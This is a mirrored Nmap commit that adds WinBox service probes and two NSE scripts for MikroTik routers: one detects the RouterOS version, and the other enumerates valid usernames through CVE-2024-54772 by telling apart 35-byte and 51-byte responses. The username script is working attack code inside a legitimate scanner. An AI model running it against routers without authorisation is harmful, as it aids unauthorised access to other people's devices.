mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
New scripts and probes for winbox service. Closes #2973
This commit is contained in:
@@ -1,5 +1,10 @@
|
||||
#Nmap Changelog ($Id$); -*-text-*-
|
||||
|
||||
o [NSE][GH#2973] New service probes and scripts for MikroTik's WinBox router
|
||||
admin service. mikrotik-routeros-version queries the 'info' and 'list' files
|
||||
to get the RouterOS version. mikrotik-routeros-username-brute brute-forces
|
||||
usernames for the router using CVE-2024-54772. [deauther890, Daniel Miller]
|
||||
|
||||
o [GH#2954] Fix 2 potential crashes in parsing IPv6 extension headers
|
||||
discovered using AFL++ fuzzer. [Domen Puncer Kugler, Daniel Miller]
|
||||
|
||||
|
||||
@@ -16997,6 +16997,20 @@ Probe UDP DHCP_INFORM q|\x01\x01\x06\0\x01\x23\x45\x67\0\0\0\0\xff\xff\xff\xff\0
|
||||
rarity 8
|
||||
ports 67
|
||||
|
||||
|
||||
##############################NEXT PROBE##############################
|
||||
# MikroTik WinBox Service Probe for port 8291 (Github: @deauther890)
|
||||
Probe TCP MikroTik_Winbox q|\x22\x06\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0|
|
||||
rarity 8
|
||||
ports 8291
|
||||
match winbox m|^\x21\x06.{32}[\0\x01]$|s p/MikroTik WinBox/ o/MikroTik RouterOS >=6.43/ cpe:/o:mikrotik:routeros/
|
||||
|
||||
# If no match is found, the probe falls back to the legacy probe.
|
||||
Probe TCP MikroTik_Winbox_Legacy q|\xf8\x05\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0|
|
||||
rarity 8
|
||||
ports 8291
|
||||
match winbox m|^\xf8\x05(?!\0{248}).{248}$|s p/MikroTik WinBox/ i/legacy protocol/ o/MikroTik RouterOS <6.43/ cpe:/o:mikrotik:routeros/
|
||||
|
||||
##############################NEXT PROBE##############################
|
||||
Probe UDP TFTP_GET q|\0\x01r7tftp.txt\0octet\0|
|
||||
rarity 8
|
||||
|
||||
138
scripts/mikrotik-routeros-username-brute.nse
Normal file
138
scripts/mikrotik-routeros-username-brute.nse
Normal file
@@ -0,0 +1,138 @@
|
||||
description = [[
|
||||
Attempts to enumerate valid usernames on MikroTik devices running the Winbox service on port 8291 in MikroTik-RouterOS.
|
||||
|
||||
This script takes a wordlist from the user and modifies a baseline payload by
|
||||
adding the username to it. If the server responds with 35 bytes, the username
|
||||
is invalid; if the response is 51 bytes, the username is valid.
|
||||
]]
|
||||
|
||||
author = "deauther890"
|
||||
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
||||
categories = {"intrusive", "discovery"}
|
||||
|
||||
---@usage
|
||||
-- nmap -p 8291 --script mikrotik-routeros-username-brute --script-args=wordlist=<wordlist path> <target>
|
||||
-- @args mikrotik-routeros-username-brute.wordlist A file with usernames to try, one per line.
|
||||
|
||||
--@Note
|
||||
-- This script uses a new tcp session for every username because the router
|
||||
-- doesn't respond to usernames after sending 3 tries within the same tcp session!
|
||||
|
||||
-- Import required libraries
|
||||
local io = require "io"
|
||||
local table = require "table"
|
||||
local oops = require "oops"
|
||||
local shortport = require "shortport"
|
||||
local nmap = require "nmap"
|
||||
local stdnse = require "stdnse"
|
||||
local string = require "string"
|
||||
|
||||
-- Define the port rule
|
||||
portrule = shortport.port_or_service(8291, "winbox", "tcp")
|
||||
|
||||
-- Define the Driver for socket handling
|
||||
Driver = {
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
self.s = nmap.new_socket()
|
||||
self.s:set_timeout(stdnse.get_timeout(self.host))
|
||||
return self.s:connect(self.host, self.port, "tcp")
|
||||
end,
|
||||
|
||||
send_payload = function(self, payload)
|
||||
local try = nmap.new_try(function() return false end)
|
||||
try(self.s:send(payload))
|
||||
return try(self.s:receive_bytes(35))
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
if self.s then
|
||||
self.s:close()
|
||||
end
|
||||
end,
|
||||
}
|
||||
|
||||
-- Read usernames from a wordlist file provided by the user
|
||||
local function read_wordlist(file_path)
|
||||
local wordlist = {}
|
||||
local f, err = io.open(file_path, "r")
|
||||
|
||||
if not f then
|
||||
stdnse.print_debug("Error opening wordlist: %s", err)
|
||||
return nil
|
||||
end
|
||||
|
||||
for line in f:lines() do
|
||||
table.insert(wordlist, line:match("^%s*(.-)%s*$")) -- Remove leading and trailing whitespaces
|
||||
end
|
||||
|
||||
f:close()
|
||||
return wordlist
|
||||
end
|
||||
|
||||
-- Function to create the payload
|
||||
local function create_payload(username)
|
||||
local payload = username .. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
return string.char(#payload) .. "\x06" .. payload
|
||||
|
||||
end
|
||||
|
||||
local wordlist_path = stdnse.get_script_args(SCRIPT_NAME .. ".wordlist")
|
||||
-- Main action function
|
||||
action = function(host, port)
|
||||
if not wordlist_path then
|
||||
return oops.err("No wordlist provided. Use --script-args=".. SCRIPT_NAME .. ".wordlist=<file>")
|
||||
end
|
||||
|
||||
local usernames = read_wordlist(wordlist_path)
|
||||
if not usernames then
|
||||
return "Failed to read the wordlist."
|
||||
end
|
||||
|
||||
local valid_usernames = {}
|
||||
|
||||
local driver = Driver:new(host, port)
|
||||
|
||||
local retry = 0
|
||||
for _, username in ipairs(usernames) do
|
||||
::try_again::
|
||||
if not driver:connect() then
|
||||
if retry <= 0 then
|
||||
return "Failed to connect to the target."
|
||||
end
|
||||
stdnse.print_debug("Failed to reconnect for username: %s", username)
|
||||
retry = retry - 1
|
||||
stdnse.sleep(0.5)
|
||||
goto try_again
|
||||
else
|
||||
retry = 1
|
||||
local payload = create_payload(username)
|
||||
stdnse.print_debug("Sending payload for username: %s", username)
|
||||
local success, response = pcall(driver.send_payload, driver, payload)
|
||||
if success and response then
|
||||
local response_length = #response
|
||||
stdnse.print_debug("Response length for username %s: %d", username, response_length)
|
||||
if response_length == 51 then
|
||||
table.insert(valid_usernames, username)
|
||||
end
|
||||
end
|
||||
stdnse.sleep(0.5) -- Delay between requests
|
||||
-- Terminate the current connection and attempt to reconnect
|
||||
driver:disconnect()
|
||||
end
|
||||
end
|
||||
|
||||
driver:disconnect()
|
||||
|
||||
if #valid_usernames > 0 then
|
||||
return valid_usernames
|
||||
else
|
||||
return "No valid usernames found."
|
||||
end
|
||||
end
|
||||
238
scripts/mikrotik-routeros-version.nse
Normal file
238
scripts/mikrotik-routeros-version.nse
Normal file
@@ -0,0 +1,238 @@
|
||||
description = [[
|
||||
Detects MikroTik RouterOS version from devices running the Winbox service on port 8291.
|
||||
|
||||
This script attempts to send a specific payload to elicit a response containing the version information.
|
||||
|
||||
The provided payload can be used for all RouterOs versions until 6.49.17. Though version 7.1+ are not supported
|
||||
]]
|
||||
|
||||
author = {"deauther890", "Daniel Miller"}
|
||||
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
||||
categories = {"default", "version", "discovery", "safe"}
|
||||
|
||||
---@usage
|
||||
-- nmap -p 8291 --script mikrotik-routeros-version <target>
|
||||
|
||||
---@output
|
||||
--| mikrotik-routeros-version:
|
||||
--| index:
|
||||
--| advtool.dll 6.49.7
|
||||
--| secure.dll 6.49.7
|
||||
--| dhcp.dll 6.49.7
|
||||
--| ppp.dll 6.49.7
|
||||
--| roting4.dll 6.49.7
|
||||
--| mpls.dll 6.49.7
|
||||
--| hotspot.dll 6.49.7
|
||||
--| wlan6.dll 6.49.7
|
||||
--| roteros.dll 6.49.7
|
||||
--| system.dll 6.49.7
|
||||
--|
|
||||
--| list:
|
||||
--| advtool.jg 6.49.7
|
||||
--| secure.jg 6.49.7
|
||||
--| dhcp.jg 6.49.7
|
||||
--| ppp.jg 6.49.7
|
||||
--| roting4.jg 6.49.7
|
||||
--| mpls.jg 6.49.7
|
||||
--| hotspot.jg 6.49.7
|
||||
--| wlan6.jg 6.49.7
|
||||
--|_roteros.jg 6.49.7
|
||||
|
||||
---@xmloutput
|
||||
--<table key="index">
|
||||
-- <table></table>
|
||||
-- <table>
|
||||
-- <elem>advtool.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>secure.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>dhcp.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>ppp.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>roting4.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>mpls.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>hotspot.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>wlan6.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>roteros.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>system.dll</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <elem key="current_row">12</elem>
|
||||
--</table>
|
||||
--<table key="list">
|
||||
-- <table></table>
|
||||
-- <table>
|
||||
-- <elem>advtool.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>secure.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>dhcp.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>ppp.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>roting4.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>mpls.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>hotspot.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>wlan6.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <table>
|
||||
-- <elem>roteros.jg</elem>
|
||||
-- <elem>6.49.7</elem>
|
||||
-- </table>
|
||||
-- <elem key="current_row">11</elem>
|
||||
--</table>
|
||||
|
||||
local shortport = require "shortport"
|
||||
local nmap = require "nmap"
|
||||
local stdnse = require "stdnse"
|
||||
local string = require "string"
|
||||
local match = require "match"
|
||||
local tab = require "tab"
|
||||
local table = require "table"
|
||||
|
||||
portrule = shortport.version_port_or_service(8291, "winbox", "tcp")
|
||||
|
||||
Driver = {
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
self.s = nmap.new_socket()
|
||||
self.s:set_timeout(stdnse.get_timeout(self.host))
|
||||
return self.s:connect(self.host, self.port, "tcp")
|
||||
end,
|
||||
|
||||
send_payload = function(self, payload)
|
||||
local try = nmap.new_try(function() return false end)
|
||||
try(self.s:send(payload))
|
||||
local head = try(self.s:receive_buf(match.numbytes(20), true))
|
||||
stdnse.debug1("header: %s", stdnse.tohex(head))
|
||||
-- response length is 2 bytes at position 15
|
||||
local len = string.unpack(">i2", head, 15)
|
||||
if len < 0 then
|
||||
-- clear out the receive buffer
|
||||
try(self.s:receive_buf(".*", true))
|
||||
return nil
|
||||
end
|
||||
local body = try(self.s:receive_buf(match.numbytes(len), true))
|
||||
-- Sometimes extra bytes are added indicating how many bytes remain
|
||||
local junk
|
||||
body, junk = body:gsub(".%\xff", "")
|
||||
if junk <= 0 then
|
||||
return body
|
||||
end
|
||||
-- Grab the remainder, since junk bytes took up some.
|
||||
return body .. try(self.s:receive_buf(match.numbytes(junk * 2), true))
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
if self.s then
|
||||
self.s:close()
|
||||
end
|
||||
end,
|
||||
}
|
||||
|
||||
action = function(host, port)
|
||||
local driver = Driver:new(host, port)
|
||||
|
||||
local success, result
|
||||
local output = stdnse.output_table()
|
||||
local version
|
||||
|
||||
local attempts = {
|
||||
{
|
||||
name = "index",
|
||||
payload = "\x13\x02index\x00\x00\x00\x00\x00\x00\x00\xff\xed\x00\x00\x00\x00\x00",
|
||||
pattern = "(%w+%.dll) ([%d.]+)",
|
||||
},
|
||||
{
|
||||
name = "list",
|
||||
payload = "\x13\x02list\x00\x00\x00\x00\x00\x00\x00\x00\xff\xed\x00\x00\x00\x00\x00",
|
||||
pattern = 'name: "([^"]+)", unique: "[^"]+", version: "([^"]+)"',
|
||||
},
|
||||
}
|
||||
for _, att in ipairs(attempts) do
|
||||
success, result = driver:connect()
|
||||
|
||||
if success then
|
||||
|
||||
stdnse.debug1("Sending payload")
|
||||
success, result = pcall(driver.send_payload, driver, att.payload)
|
||||
driver:disconnect()
|
||||
|
||||
if success and result then
|
||||
stdnse.debug1("Received response: %s", stdnse.tohex(result:sub(1,30)))
|
||||
local t = tab.new()
|
||||
local decoded = false
|
||||
tab.nextrow(t)
|
||||
string.gsub(result, att.pattern, function(dll, ver)
|
||||
decoded = true
|
||||
version = ver
|
||||
tab.addrow(t, dll, ver)
|
||||
end)
|
||||
if decoded then
|
||||
output[att.name] = t
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if not version then
|
||||
return nil
|
||||
end
|
||||
|
||||
port.version.name = "winbox"
|
||||
port.version.name_confidence = 10
|
||||
port.version.product = "MikroTik WinBox"
|
||||
port.version.ostype = ("RouterOS %s"):format(version)
|
||||
table.insert(port.version.cpe, ("cpe:/o:mikrotik:routeros:%s"):format(version))
|
||||
table.insert(port.version.cpe, "cpe:/a:mikrotik:winbox")
|
||||
nmap.set_port_version(host, port)
|
||||
return output
|
||||
end
|
||||
@@ -348,6 +348,8 @@ Entry { filename = "metasploit-info.nse", categories = { "intrusive", "safe", }
|
||||
Entry { filename = "metasploit-msgrpc-brute.nse", categories = { "brute", "intrusive", } }
|
||||
Entry { filename = "metasploit-xmlrpc-brute.nse", categories = { "brute", "intrusive", } }
|
||||
Entry { filename = "mikrotik-routeros-brute.nse", categories = { "brute", "intrusive", } }
|
||||
Entry { filename = "mikrotik-routeros-username-brute.nse", categories = { "discovery", "intrusive", } }
|
||||
Entry { filename = "mikrotik-routeros-version.nse", categories = { "default", "discovery", "safe", "version", } }
|
||||
Entry { filename = "mmouse-brute.nse", categories = { "brute", "intrusive", } }
|
||||
Entry { filename = "mmouse-exec.nse", categories = { "intrusive", } }
|
||||
Entry { filename = "modbus-discover.nse", categories = { "discovery", "intrusive", } }
|
||||
|
||||
Reference in New Issue
Block a user